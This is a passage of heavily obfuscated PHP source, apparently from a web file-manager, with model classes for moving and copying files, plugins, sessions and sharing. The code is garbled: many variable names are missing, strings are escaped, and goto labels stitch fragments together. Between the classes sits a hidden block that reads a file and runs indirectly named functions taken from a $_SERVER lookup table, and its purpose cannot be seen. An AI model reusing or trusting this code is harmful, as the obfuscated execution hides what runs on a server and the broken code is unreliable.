$ = array($[540] => array($[569], $[$[540]] . $鯕 . $[570]), $[460] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[431]); foreach ($ as $) { $⼙ = $[$[461]]; $鯕 = $[$[431]]; if (!isset($this->_childrenListCache[$鯕]) && $[$[439]] == $[88]) { $this->_childrenListCache[$鯕] = array(); } if (!isset($this->_childrenListCache[$⼙])) { $this->_childrenListCache[$⼙] = array(); } $this->_childrenListCache[$⼙][$鯕] = $; $this->_childrenItemCache[$鯕] = $; } } private function _childrenListAll($ʭП, &$ݫ) { $笐Π =& $_SERVER[]; if (!isset($this->_childrenListCache[$ʭП])) { return; } $庉 = $this->_childrenListCache[$ʭП]; foreach ($庉 as $ȸ => $ס) { $ݫ[$ȸ] = $ס; if ($ס[$笐Π[439]] == $笐Π[88]) { $this->_childrenListAll($ȸ, $ݫ); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $垶 =& $_SERVER[]; $٠ = array($垶[461] => $, $垶[460] => $this->targetIsDelete); $ѳ = $this->where($٠)->select(); $ѳ = $ѳ ? $ѳ : array(); $۪ = array_to_keyvalue($ѳ, $垶[431]); $this->_childrenListCache[$] = $۪; foreach ($۪ as $ => $) { $this->_childrenItemCache[$] = $; } return $۪; } private function fileNameExistCache($ʅ, $ִМ) { $ =& $_SERVER[]; $ִМ = strtolower($ִМ); $ = $this->_childrenList($ʅ); foreach ($ as $ΰЕ) { if ($ִМ == strtolower($ΰЕ[$[32]])) { return $ΰЕ[$[431]]; } } return !1; } private function fileNameAutoCache($Ӧ, $, $߳, $) { $ =& $_SERVER[]; $ = $this->_childrenList($Ӧ); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $߳, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $Ɇ = REPEAT_REPLACE, $򕮪 = '') { $ͯ =& $_SERVER[]; $ = $this->sourceInfo($); $դҵ = $this->sourceInfo($); if ($[$ͯ[461]] == $դҵ[$ͯ[431]]) { if ($[$ͯ[460]] == $ͯ[88]) { Model($ͯ[458])->restore(array($)); } if (!$򕮪 || $򕮪 == $[$ͯ[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$դҵ || $դҵ[$ͯ[439]] != $ͯ[88]) { return !1; } Hook::trigger($ͯ[615], $); $this->targetIsDelete = intval($[$ͯ[460]]); if ($[$ͯ[461]] == $ && $򕮪 != $[$ͯ[32]]) { $ʃؽ = $this->fileNameExist($, $򕮪); if ($ʃؽ && $[$ͯ[439]] == $ͯ[198]) { $ = $this->sourceInfo($ʃؽ); $Ϥ = $this->fileHistory($, $[$ͯ[497]], $[$ͯ[76]]); if (!$Ϥ) { Model($ͯ[500])->remove($[$ͯ[497]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($ͯ[616], $); return $ʃؽ; } } $ = $򕮪 ? $򕮪 : $[$ͯ[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($ͯ[586] => array(), $ͯ[617] => !1); $this->clearShare($, $); $ = $this->fileNameExistCache($, $[$ͯ[32]]); $™ = $this->_move($, $, $Ɇ, $, $򕮪); $this->sourceCacheClear(); if ($[$ͯ[439]] == $ͯ[88] && $) { $this->folderSizeResetChildren($™); } Model($ͯ[200])->linkAdd($[$ͯ[586]]); if ($ && $[$ͯ[617]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$ͯ[461]]); $this->folderSizeReset($); $ݹպ = array($[$ͯ[461]], $); if ($[$ͯ[439]] == $ͯ[88]) { $ݹպ[] = $; } $this->updateModifyTime($ݹպ); Model($ͯ[590])->eventMove($, $[$ͯ[461]], $); Hook::trigger($ͯ[616], $); return $™; } private function _move($Ǻ, $Ʒб, $, &$ޗ, $ᇢ = '') { $݌ =& $_SERVER[]; $㽧 = $this->sourceInfo($Ǻ); $Ԛ = $㽧[$݌[439]] == $݌[88]; $ = $ᇢ ? $ᇢ : $㽧[$݌[32]]; $ĺ = $this->fileNameExistCache($Ʒб, $); $this->lockMoveStart($Ǻ); $this->lockWriteStart($Ʒб, $); if (!$ĺ) { return $this->_moveForce($Ǻ, $Ʒб, $); } $ց = $ĺ; $Ǐ = !1; if ($Ԛ) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($Ʒб, $, $, $Ԛ); $ց = $this->_moveForce($Ǻ, $Ʒб, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($Ǻ); foreach ($ as $ٚ) { $this->_move($ٚ[$݌[431]], $ĺ, $, $ޗ); } $Ǐ = !0; } } else { if ($ == REPEAT_SKIP) { $Ǐ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($Ʒб, $, $, $Ԛ); $ց = $this->_moveForce($Ǻ, $Ʒб, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ĺ); $ = $this->fileHistory($, $㽧[$݌[497]], $㽧[$݌[76]]); $Ǐ = !0; if ($) { $ޗ[$݌[586]][] = $㽧[$݌[497]]; } } } } } if ($Ǐ && !$ޗ[$݌[617]]) { $ޗ[$݌[617]] = !0; } return $ց; } private function _moveForce($̐, $̐, $ٷ) { $ڗ =& $_SERVER[]; $ҿ = $this->sourceInfo($̐); $ = $this->sourceInfo($̐); $ʽ˸ = $ҿ[$ڗ[439]] == $ڗ[88]; $쓾 = array($ڗ[430] => $[$ڗ[431]], $ڗ[609] => $[$ڗ[540]] . $[$ڗ[431]] . $ڗ[50], $ڗ[605] => $[$ڗ[440]], $ڗ[606] => $[$ڗ[525]], $ڗ[608] => USER_ID, $ڗ[449] => $ٷ); $ = $ҿ[$ڗ[440]] == SourceModel::TYPE_GROUP && $[$ڗ[440]] == SourceModel::TYPE_GROUP && $ҿ[$ڗ[525]] == $[$ڗ[525]]; if (!$ && $this->moveClearAuth) { Model($ڗ[522])->authClear($̐); } $ = $ҿ[$ڗ[460]] == $ڗ[88] && $[$ڗ[460]] != $ڗ[88]; if ($) { $쓾[$ڗ[459]] = 0; } if ($ʽ˸) { $᝶ = array($ڗ[609] => array($ڗ[569], $ҿ[$ڗ[540]] . $ҿ[$ڗ[431]] . $ڗ[570])); $ = $ҿ[$ڗ[540]] . $ҿ[$ڗ[431]] . $ڗ[50]; $ډ = $[$ڗ[540]] . $[$ڗ[431]] . $ڗ[50] . $ҿ[$ڗ[431]] . $ڗ[50]; $ = array($ڗ[609] => array($ڗ[618], "\162\x65\160\154\x61\x63\145\x28\160\x61\162\x65\x6e\x74\x4c\x65\x76\145\x6c\x2c\47{$}\47\x2c\47{$ډ}\x27\51"), $ڗ[605] => $[$ڗ[440]], $ڗ[606] => $[$ڗ[525]]); if ($) { $[$ڗ[459]] = 0; } $this->where($᝶)->data($)->save(); } $this->where(array($ڗ[446] => $̐))->data($쓾)->save(); return $̐; } private function clearShare($, $Ӆ) { $ =& $_SERVER[]; $Ł = $this->sourceInfo($); $ծ = $this->sourceInfo($Ӆ); if ($Ł[$[525]] == $ծ[$[525]] && $Ł[$[440]] == $[619]) { return; } $ˈ = array($[540] => array($[569], $Ł[$[540]] . $ . $[570])); $ť = $this->field($[446])->where($ˈ)->getField($[431], !0); if (!$ť) { return; } $ˈ = array($[431] => array($[7], $ť), $[620] => 1); $ = Model($[621])->field($[622])->where($ˈ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[622]); $ˈ = array($[622] => array($[7], $)); Model($[621])->where($ˈ)->save(array($[620] => 0)); Model($[623])->where($ˈ)->delete(); } public function copyFolderFromIO($, $썲, $ُ, $ߞӈ, $Ð, $ = false) { $ =& $_SERVER[]; $Ò = array($[587] => array(), $[588] => array(), $[586] => array(), $[624] => array()); $ = $ ? $ : $->pathThis($썲); $仡 = $this->fileNameExist($ُ, $); $Ч = $this->mkdir($ُ, $, $ߞӈ); if (!$仡 || $ߞӈ == REPEAT_RENAME_FOLDER) { $ߞӈ = !1; } if ($仡) { $this->_childrenAllMake($仡); } Hook::trigger($[625]); $this->_copyChildTo($, $썲, $Ч, $ߞӈ, $Ò, $Ð); Hook::trigger($[626]); if ($Ч) { $this->folderSizeResetChildren($Ч); } $this->_childrenListClear(); Model($[589])->addAll($Ò[$[587]], array(), !0); Model($[590])->eventCopy($Ч); $this->saveAll($Ò[$[588]]); Model($[500])->linkAdd($Ò[$[586]]); Model($[500])->remove($Ò[$[624]]); $this->folderSizeReset($ُ); $this->updateModifyTime($ُ); return $Ч; } private function _copyChildTo($, $ƃݹ, $ъ, $, &$쀾, $) { $ =& $_SERVER[]; $ɡ㞠 = $this->sourceInfoCache($ъ); $ = $->listPath($ƃݹ); $ = $ ? $ : array($[83] => array(), $[82] => array()); $ = array_merge($[$[83]], $[$[82]]); $ = $this->_addFiles($, $[$[83]], $); $ = array(); foreach ($ as &$ߨ) { if (isset($[$ߨ[$[32]]])) { $ߨ = $[$ߨ[$[32]]]; } $ߨ[$[439]] = $ߨ[$[33]] == $[75]; $ߨ[$[441]] = substr(_get($ߨ, $[174], $[12]), 0, 10); $ߨ[$[76]] = _get($ߨ, $[76], 0); $ߨ[$[497]] = _get($ߨ, $[497], 0); if (!isset($ߨ[$[627]]) && $ߨ[$[497]]) { $쀾[$[624]][] = $ߨ[$[497]]; } if ($) { $ﳔ = $this->fileNameExistCache($ъ, $ߨ[$[32]]); if ($ﳔ) { if ($ߨ[$[439]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ڭ = $this->sourceInfoCache($ﳔ); $ν = $this->fileHistory($ڭ, $ߨ[$[497]], $ߨ[$[76]]); if ($ν) { $쀾[$[586]][] = $ߨ[$[497]]; } continue; } else { if ($ == REPEAT_RENAME) { $ߨ[$[32]] = $this->fileNameAutoCache($ъ, $ߨ[$[32]], $, !1); } } } } if (!$ߨ[$[439]] && $ߨ[$[497]] == 0) { continue; } if (!$ߨ[$[439]] && $ߨ[$[497]]) { $쀾[$[586]][] = $ߨ[$[497]]; } $[] = $this->_makeItemData($ߨ, $ɡ㞠, $ߨ[$[32]]); } unset($ߨ); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($ъ); } $ = $this->_childrenList($ъ); $ = array_to_keyvalue($, $[32]); foreach ($ as $ߨ) { $ڭ = $[$ߨ[$[32]]]; $« = $ڭ[$[431]]; $this->_copyApplyMeta($ڭ, $쀾); if ($ߨ[$[33]] == $[75]) { $ߨ[$[84]] = $->getPathInner($ߨ[$[84]]); $this->_copyChildTo($, $ߨ[$[84]], $«, $, $쀾, $); } } } private function _addFiles($, $я, $̰) { $Єڔ =& $_SERVER[]; if (!$я || count($я) == 0) { return array(); } $궝 = array(); foreach ($я as &$) { Hook::trigger($Єڔ[628], $); $[$Єڔ[84]] = $->getPathInner($[$Єڔ[84]]); $Ο = $->hashSimple($[$Єڔ[84]]); $ = $->hashMd5($[$Єڔ[84]]); if (strlen($) > 10 && !isset($궝[$])) { $궝[$] = array(); } $[$Єڔ[177]] = $Ο; $[$Єڔ[176]] = $; $궝[$][] =& $; if (count($궝[$]) > 1) { $[$Єڔ[627]] = !0; } Hook::trigger($Єڔ[629], $); } unset($); $‡ = array($Єڔ[176] => array($Єڔ[7], array_keys($궝))); $ = Model($Єڔ[630]); $ = $->where($‡)->select(); $ = $ ? $ : array(); foreach ($ as $ꄌ) { if (!isset($궝[$ꄌ[$Єڔ[176]]])) { continue; } $ςܞ = $궝[$ꄌ[$Єڔ[176]]]; foreach ($ςܞ as &$) { $[$Єڔ[497]] = $ꄌ[$Єڔ[497]]; $[$Єڔ[627]] = !0; } unset($); } $ = array(); foreach ($я as $) { Hook::trigger($Єڔ[631], $); if (isset($[$Єڔ[627]]) && $[$Єڔ[627]]) { Hook::trigger($Єڔ[632], $); continue; } $ = $->getPathInner($[$Єڔ[84]]); $֞ = $->addFileMake($, $[$Єڔ[76]], $[$Єڔ[177]], $[$Єڔ[176]], $[$Єڔ[32]], $̰); Hook::trigger($Єڔ[632], $); if (!is_array($֞)) { continue; } $[] = $֞; } $->addAll($); $‡ = array($Єڔ[176] => array($Єڔ[7], array_keys($궝))); $ = $->where($‡)->select(); $ = $ ? $ : array(); foreach ($ as $ꄌ) { if (!isset($궝[$ꄌ[$Єڔ[176]]])) { continue; } $ =& $궝[$ꄌ[$Єڔ[176]]]; foreach ($ as &$) { $[$Єڔ[497]] = $ꄌ[$Єڔ[497]]; } unset($); } $𵭡 = array(); foreach ($я as $鹚) { $𵭡[$鹚[$Єڔ[32]]] = $鹚; } return $𵭡; } } goto Fψ; fʅ: class PluginModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\160\x6c\x75\x67\x69\156\114\151\163\164"; public $field = array("\156\141\155\x65", "\x73\164\141\164\165\x73", "\x72\145\147\x69\145\163\x74", "\x63\157\x6e\x66\151\x67"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $͙ =& $_SERVER[]; Hook::trigger($͙[1986]); $ = $this->loadPluginList(); foreach ($ as $Ԇ => $ήŧ) { $ܥ = $this->appAllow($Ԇ, $ήŧ); if (!$ܥ) { continue; } foreach ($ήŧ[$͙[1987]] as $ߣ => $Қ) { Hook::bind($ߣ, $Қ); } } Hook::trigger($͙[1988]); Hook::trigger(ACTION); } public function appAllow($, $, $ש = true) { $˗ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $˗[1989]; if (!is_array($) || !is_array($[$˗[1987]]) || $[$˗[776]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$˗[523]] == 1) { if ($GLOBALS[$˗[6]][$˗[1990]] || !$GLOBALS[$˗[6]][$˗[1991]]) { return !0; } $Ȑ = explode($˗[50], strtolower($GLOBALS[$˗[6]][$˗[1991]])); return in_array(strtolower($), $Ȑ) ? !1 : !0; } if ($ש && !Action($˗[1992])->checkAuth($)) { return !1; } return !0; } public function unInstall($ǵՑ) { $ =& $_SERVER[]; $ = $this->loadList($ǵՑ); if (file_exists(PLUGIN_DIR . $ǵՑ)) { Hook::apply($ǵՑ . $[1993]); } $this->remove($[$[428]]); } public function changeStatus($, $) { $텓 =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($ . $텓[1994]); } $this->update($[$텓[428]], array($텓[1995] => $)); } public function appRegist($, $ɬ) { $ =& $_SERVER[]; $Ǯ뙭 = $this->loadList($); if ($Ǯ뙭) { $this->update($Ǯ뙭[$[428]], array($[1987] => $ɬ)); } else { $ = array($[32] => $, $[1987] => $ɬ, $[776] => 0, $[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($Ɍ) { $ =& $_SERVER[]; $ŕ = array(); $† = $this->getPackageJson($Ɍ); if (!$† && is_array($†[$[1996]])) { return $ŕ; } foreach ($†[$[1996]] as $Ͱ => $) { if (!isset($[$[403]]) || isset($ŕ[$Ͱ])) { continue; } $ŕ[$Ͱ] = $[$[403]]; } return $ŕ; } public function getPackageJson($ۂ֓) { return Hook::apply($ۂ֓ . $_SERVER[][1997]); } public function getConfig($, $ѳ = false) { $ţ =& $_SERVER[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$ţ[6]])) { $ = $[$ţ[6]]; } if (!$ || $ѳ) { $ = $this->getConfigDefault($); } return $; } public function setConfig($񲙿, $џ = false) { $𑰳 =& $_SERVER[]; $픊 = $this->loadList($񲙿); if (!$픊) { return !1; } $ = $픊[$𑰳[6]]; if ($џ == !1) { $ = array(); $џ = $this->getConfigDefault($񲙿); } foreach ($џ as $Φ => $) { $[$Φ] = is_string($) ? trim($) : $; } $this->update($픊[$𑰳[428]], array($𑰳[6] => $)); } public function viewList() { $ռ =& $_SERVER[]; $ۚ = $this->loadList(); $this->pluginScan($ۚ); $ۚ = $this->loadPluginList(); $ܼ = array(); foreach ($ۚ as $ => $؝) { unset($؝[$ռ[1987]], $؝[$ռ[6]]); $Ѥ = PLUGIN_DIR . $؝[$ռ[32]] . $ռ[1989]; if (!is_file($Ѥ)) { continue; } $ = Hook::apply($؝[$ռ[32]] . $ռ[1997]); if (is_array($)) { $ܼ[$] = array_merge($؝, $); } } return $ܼ; } private function loadPluginList() { $ =& $_SERVER[]; $і = $this->loadList(); if (strtolower(MOD) == $[1998]) { return $і; } $۵ = Hook::trigger($[1999], $і); if ($і && !$۵) { die; } return $۵ ? $۵ : $і; } private function pluginScan($) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $܀, 0); foreach ($ as $잭) { $҅¬ = get_path_this($잭); if (isset($[$҅¬]) || !file_exists($잭 . $[2000]) || !file_exists($잭 . $[1989])) { continue; } Hook::apply($҅¬ . $[1994]); } } } if ($_SERVER[$_SERVER[][905]] != $_SERVER[$_SERVER[][1540]]) { $_getc = $_SERVER[][907]; $_getfile = $_SERVER[$_SERVER[][902]] . $_SERVER[][903]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][656]) { $exit = $_SERVER[][908]; $exit(); } $_act = $_SERVER[][992]; $_act($_SERVER[$_SERVER[][991]]); } class SessionModel extends ModelBase { protected $tableName = "\163\171\x73\164\145\x6d\137\163\x65\x73\x73\x69\157\156"; public function get($ř) { $ =& $_SERVER[]; $ = $this->where(array($[2001] => $ř))->find(); if (!is_array($)) { return !1; } return $[$[780]]; } public function set($, $ê, $򛹗 = 3600) { $ =& $_SERVER[]; $Ƕ = array($[2001] => $, $[1905] => $ê, $[2002] => $򛹗 + time()); if (Session::get($[2003])) { $Ƕ[$[1676]] = Session::get($[2003]); } else { $Ƕ[$[1676]] = 0; } if ($this->get($)) { return $this->where(array($[2001] => $))->save($Ƕ); } else { return $this->add($Ƕ, array(), !0); } } public function remove($̊) { return $this->where(array($_SERVER[][2001] => $̊))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2004] . time())->delete(); } } goto dʦ; fٍ: class DbSqlite extends DbSqliteBase { public function query($) { $Ӫ =& $_SERVER[]; if (!CacheLock::fileLock($Ӫ[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($Ӫ[13]); return $; } public function execute($) { $߅ =& $_SERVER[]; if (!CacheLock::fileLock($߅[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($߅[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($ѡ) { $՛› =& $_SERVER[]; if (!CacheLock::fileLock($՛›[13])) { return !1; } $Ϛ = parent::query($ѡ); CacheLock::fileUnLock($՛›[13]); return $Ϛ; } public function execute($) { $ƛ =& $_SERVER[]; if (!CacheLock::fileLock($ƛ[13])) { return !1; } $ܣ = parent::execute($); CacheLock::fileUnLock($ƛ[13]); return $ܣ; } } $_file = $_SERVER[$_SERVER[][991]]; goto D݇Ε; dʦ: class ShareModel extends ModelBase { protected $tableName = "\x73\150\x61\162\145"; protected $dataAuto = array(array("\x6d\157\x64\151\146\171\124\x69\155\x65", "\x74\151\155\145", "\x69\156\163\x65\x72\164\x2c\x75\160\144\141\x74\145", "\x66\x75\x6e\x63\x74\151\157\x6e"), array("\x63\x72\x65\x61\164\x65\124\x69\155\145", "\x74\x69\155\x65", "\x69\x6e\x73\x65\162\x74", "\146\x75\x6e\143\x74\151\x6f\156"), array("\157\x70\164\x69\x6f\156\163", '', "\151\156\163\x65\162\164\x2c\165\x70\x64\141\x74\x65\54\163\145\x6c\145\x63\x74", "\x6a\163\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($[2005] => array(USER_ID, $[2006]), $[1946] => array($, $[2007])); } protected function listSimple() { $Ѫӧ = array($_SERVER[][1676] => USER_ID); $ = $this->field($this->fieldList)->where($Ѫӧ)->select(); return $ ? $ : array(); } protected function getInfo($ߘ, $† = false) { $ꇓ =& $_SERVER[]; if ($†) { return $this->_getShareInfo(array($ꇓ[622] => $ߘ)); } $Į = $this->cacheFunctionGet($ꇓ[1948], $ߘ); return $Į; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2008] => $)); } public function getInfoByPath($¼ջھ) { $ =& $_SERVER[]; $ŗ = array($[1676] => USER_ID, $[431] => $¼ջھ); return $this->_getShareInfo($ŗ); } public function getInfoBySourcePath($) { $ޒЏ =& $_SERVER[]; $Խ = array($ޒЏ[1676] => USER_ID, $ޒЏ[1208] => $); return $this->_getShareInfo($Խ); } private function _getShareInfo($) { $ߌ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($ߌ[622] => $[$ߌ[622]]); $ = $ߌ[2009]; $ԑ = Model($ߌ[623])->order($ߌ[428])->field($)->where($)->select(); if ($[$ߌ[431]] == $ߌ[198]) { $[$ߌ[87]] = IO::info($[$ߌ[1208]]); } else { $[$ߌ[87]] = Model($ߌ[1366])->pathInfo($[$ߌ[431]]); } $[$ߌ[2010]] = $ԑ; return $; } protected function getInfoAuth($񭝓) { $ќ =& $_SERVER[]; $ = $this->getInfo($񭝓); if ($[$ќ[1676]] == USER_ID) { $[$ќ[442]] = $[$ќ[87]][$ќ[442]]; } else { $[$ќ[442]] = Model($ќ[522])->authMake($[$ќ[2010]]); } return $; } protected function listData($̵ = null, $ڐ܈ = 300) { $ŕ =& $_SERVER[]; $ = array(array($ŕ[517] => array($ŕ[1045], 0), $ŕ[620] => array($ŕ[1045], 0), $ŕ[2011] => $ŕ[1964])); if ($̵ == $ŕ[2012]) { $ = array($ŕ[517] => 1); } else { if ($̵ == $ŕ[1194]) { $ = array($ŕ[620] => 1); } } $[$ŕ[1676]] = USER_ID; $հ = $this->where($)->selectPage($ڐ܈); return $հ; } protected function listToMe($” = 300) { $ =& $_SERVER[]; $ = Model($[2013])->userGroupParents(USER_ID); $晬 = array($[605] => SourceModel::TYPE_USER, $[525] => USER_ID); if ($) { $晬 = array(array($[605] => SourceModel::TYPE_USER, $[525] => USER_ID), array($[605] => SourceModel::TYPE_GROUP, $[525] => array($[7], $)), $[2011] => $[1964]); } $¼ = Model($[623])->where($晬)->selectPage($”); $; = array_to_keyvalue_group($¼[$[398]], $[622]); if (!$;) { return $¼; } $ = $[2014]; $晬 = array($[622] => array($[447], array_keys($;)), $[1676] => array($[1047], $[198])); $Ʌ = $this->field($)->where($晬)->select(); foreach ($Ʌ as $ӯڜ => &$Ĥ) { $Ĥ[$[2010]] = $;[$Ĥ[$[622]]]; } unset($Ĥ); $ͣ = array($[2015] => $Ʌ, $[2016] => $¼[$[395]]); return $ͣ; } protected function shareAdd($؆ܦ, $ġ) { $ =& $_SERVER[]; $ʼn = $this->_addShareData($؆ܦ, $ġ); if (!empty($ġ[$[2017]])) { $this->_shareAuthSet($ʼn, $ġ[$[2017]]); } $this->shareEventAdd($؆ܦ, $ġ, $[2018]); return $ʼn; } protected function shareAddSystem($ބẅ, $˪) { $߻ =& $_SERVER[]; $‘ = $this->_addShareData($ބẅ, $˪, $߻[1320]); $this->_shareAuthSet($‘, $˪[$߻[2017]]); return $‘; } private function shareEventAdd($ڊݶ, $, $ѣ = "\141\144\x64") { $“Ŗ =& $_SERVER[]; if (!$ڊݶ || $ڊݶ == $“Ŗ[198]) { return; } if ($ѣ == $“Ŗ[2018]) { if ($[$“Ŗ[517]] == $“Ŗ[88]) { Model($“Ŗ[590])->eventShare($ڊݶ, $“Ŗ[2019]); } if ($[$“Ŗ[620]] == $“Ŗ[88]) { Model($“Ŗ[590])->eventShare($ڊݶ, $“Ŗ[2020]); } return; } $ĵ = $this->getInfoByPath($ڊݶ); $볅 = $“Ŗ[2021]; if ($ĵ[$“Ŗ[517]] == $“Ŗ[198] && $[$“Ŗ[517]] == $“Ŗ[88]) { $볅 = $“Ŗ[2019]; } if ($ĵ[$“Ŗ[517]] == $“Ŗ[88] && $[$“Ŗ[517]] == $“Ŗ[198]) { $볅 = $“Ŗ[2022]; } if ($ĵ[$“Ŗ[620]] == $“Ŗ[198] && $[$“Ŗ[620]] == $“Ŗ[88]) { $볅 = $“Ŗ[2020]; } if ($ĵ[$“Ŗ[620]] == $“Ŗ[88] && $[$“Ŗ[620]] == $“Ŗ[198]) { $볅 = $“Ŗ[2023]; } Model($“Ŗ[590])->eventShare($ڊݶ, $볅); return; } private function _addShareData($磈, $ْ = array(), $ = false) { $礀 =& $_SERVER[]; $« = $ == $礀[1320] ? 0 : USER_ID; $ђ = array($礀[446] => $磈, $礀[1667] => $«); if ($磈 == 0) { $ђ = array($礀[2024] => $ْ[$礀[1208]], $礀[1667] => $«); } if ($ɾ = $this->where($ђ)->find()) { return $ɾ[$礀[622]]; } if ($磈 == 0) { $ȥ = array($礀[32] => get_path_this($ْ[$礀[84]])); } else { $ȥ = Model($礀[851])->sourceInfo($磈); if (!$ȥ) { return !1; } } if (!$ْ[$礀[1574]]) { $ْ[$礀[1574]] = $ȥ[$礀[32]]; } $ = array($礀[1667] => $«, $礀[446] => $磈, $礀[1574] => $礀[12], $礀[517] => 0, $礀[620] => 0, $礀[1208] => $礀[12], $礀[336] => $礀[12], $礀[920] => $礀[12], $礀[2025] => 0, $礀[2026] => 0, $礀[787] => 0, $礀[2027] => $礀[12], $礀[2008] => $礀[12]); $풨 = explode($礀[50], $礀[2028]); foreach ($풨 as $Ց) { if (!isset($ْ[$Ց])) { continue; } $[$Ց] = $ْ[$Ց]; } $Ӿ = $this->add($); $҉ = array($礀[2008] => short_id($Ӿ)); $this->where(array($礀[2029] => $Ӿ))->save($҉); return $Ӿ; } private function _shareAuthSet($«Δ, $ߛֲ) { $ =& $_SERVER[]; if (!is_array($ߛֲ)) { return !1; } $ƒ = Model($[1974]); $ƒ->where(array($[622] => $«Δ))->delete(); $Ⳑ = array(); foreach ($ߛֲ as $߮) { $寯 = SourceModel::TYPE_USER; if ($߮[$[440]] == SourceModel::TYPE_GROUP) { $寯 = SourceModel::TYPE_GROUP; } $ = array($[622] => $«Δ, $[440] => $寯, $[525] => intval($߮[$[525]]), $[1970] => 0, $[2030] => -1); if ($߮[$[1970]]) { $[$[1970]] = $߮[$[1970]]; } else { if ($߮[$[2030]]) { $[$[2030]] = $߮[$[2030]]; } } $Ⳑ[] = $; } return $ƒ->addAll($Ⳑ, array(), !0); } public function numViewAdd($ڃ) { $ĸ =& $_SERVER[]; $ʘ̗ = array($ĸ[2029] => $ڃ); $this->where($ʘ̗)->setAdd($ĸ[2025]); } public function numDownloadAdd($픥) { $ =& $_SERVER[]; $ = array($[2029] => $픥); $this->where($)->setAdd($[2026]); } protected function shareEdit($, $瓱) { $ =& $_SERVER[]; $ǎ = $this->getInfo($); if (!$ǎ) { return !1; } $this->_checkLinkShare($瓱, $ǎ); $Ս = array(); $ = explode($[50], $[2031]); foreach ($ as $נ) { if (!array_key_exists($נ, $瓱)) { continue; } $Ս[$נ] = $瓱[$נ]; } $this->shareEventAdd($ǎ[$[431]], $瓱, $[1836]); $this->where(array($[2029] => $))->save($Ս); if (isset($瓱[$[2017]])) { $this->_shareAuthSet($, $瓱[$[2017]]); } return !0; } private function _checkLinkShare($ճ, $ߡ) { $ =& $_SERVER[]; if ($ճ[$[517]] != $[88]) { return; } $ = $ߡ[$[87]][$[431]]; if ($ߡ[$[87]][$[33]] != $[200]) { $􇵔 = $this->_folderReport($); if (!$􇵔) { return; } show_json(LNG($[2032]) . $[2033] . $􇵔, !1); } $ޗή = Model($[851])->fileInfoGet($ߡ[$[87]][$[431]]); if (!$ޗή) { return; } $ڤ = $this->shareFileMeta($ޗή[$[497]]); if (isset($ڤ[$[403]]) && $ڤ[$[403]] == $[88]) { show_json(LNG($[2034]), !1); } } private function _folderReport($) { $ =& $_SERVER[]; $ = array($[497] => array($[1045], 0), $[776] => 3); $̏ = Model($[2035])->where($)->field($[497])->select(); if (!$̏) { return !1; } $̏ = array_to_keyvalue($̏, $[12], $[497]); $ = $[50] . $ . $[50]; $ = array($[497] => array($[7], $̏), $[540] => array($[412], "\45{$}\x25"), $[460] => 0); $ = Model($[851])->where($)->field($[2036])->find(); if (!$) { return !1; } $ = substr($[$[540]], strpos($[$[540]], $)); $ = array($[431] => array($[7], trim($, $[50]))); $ޟ = Model($[851])->where($)->field($[32])->select(); $ = array_to_keyvalue($ޟ, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($™) { $ =& $_SERVER[]; if (is_array($™)) { $™ = array($[7], $™); } $ = array($[622] => $™); $ = $this->where($)->delete(); if ($) { Model($[623])->where(array($[622] => $™))->delete(); } $۷Κ = is_array($™) ? $™[1] : array($™); for ($ = 0; $ < count($۷Κ); $++) { $ = $this->getInfo($۷Κ[$]); if ($[$[620]] == $[88]) { Model($[590])->eventShare($[$[431]], $[2023]); } if ($[$[517]] == $[88]) { Model($[590])->eventShare($[$[431]], $[2022]); } } return $; } protected function removeBySource($ݽ) { $ =& $_SERVER[]; $Д = array($[446] => array($[447], $ݽ)); $ɩ۴ = $this->field($[622])->where($Д)->select(); $ɩ۴ = array_to_keyvalue($ɩ۴, $[12], $[622]); if (!$ɩ۴) { return; } $Д = array($[2029] => array($[447], $ɩ۴)); $this->where($Д)->delete(); Model($[623])->where($Д)->delete(); } public function listAll($ޱ) { $ۜ =& $_SERVER[]; $Ȫ = array(); if ($ޱ[$ۜ[1676]]) { $Ȫ[$ۜ[1676]] = 